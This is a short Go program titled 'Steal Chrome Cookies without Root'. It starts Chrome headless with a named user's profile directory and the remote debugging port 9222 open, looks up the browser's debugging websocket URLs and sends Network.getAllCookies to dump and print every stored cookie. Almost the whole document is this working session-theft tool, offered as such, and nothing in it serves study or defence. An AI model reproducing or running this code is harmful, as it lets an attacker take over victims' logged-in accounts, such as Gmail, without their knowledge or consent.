Steal Chrome Cookies without Root

package main

import (
    "os/exec"
    "log"
    "github.com/tidwall/gjson"
    "golang.org/x/net/websocket"
    "github.com/levigross/grequests"
    "fmt"
)

func runchrome(){
    cmd := exec.Command("/Applications/Google Chrome.app/Contents/MacOS/Google Chrome", "--headless", "--user-data-dir=/Users/omaidfaizyar/Library/Application Support/Google/Chrome/Default","https://gmail.com","--remote-debugging-port=9222")
    err := cmd.Run()
    if err != nil {
        log.Fatalf("cmd.Run() failed with %s\n", err)
    }
}

func checkcookies(socketurl string){
    cookie := `{"id": 1, "method": "Network.getAllCookies"}`
        origin := "http://localhost/"
        ws, err := websocket.Dial(socketurl, "", origin)
        if err != nil {
            log.Fatal(err)
        }

        if _, err := ws.Write([]byte(cookie)); err != nil {
    log.Fatal(err)
}

var msg = make([]byte, 512)
var n int
if n, err = ws.Read(msg); err != nil {
    log.Fatal(err)
}
fmt.Printf("Received: %s.\n", msg[:n])


}


func main(){
    go runchrome()
    resp, err := grequests.Get("http://localhost:9222/json",nil)
    if err != nil {
        panic(err)
    }
    value := gjson.Get(resp.String(), "#.webSocketDebuggerUrl")
    value.ForEach(func(key, value gjson.Result) bool {
    checkcookies(value.String())
    return true
})

}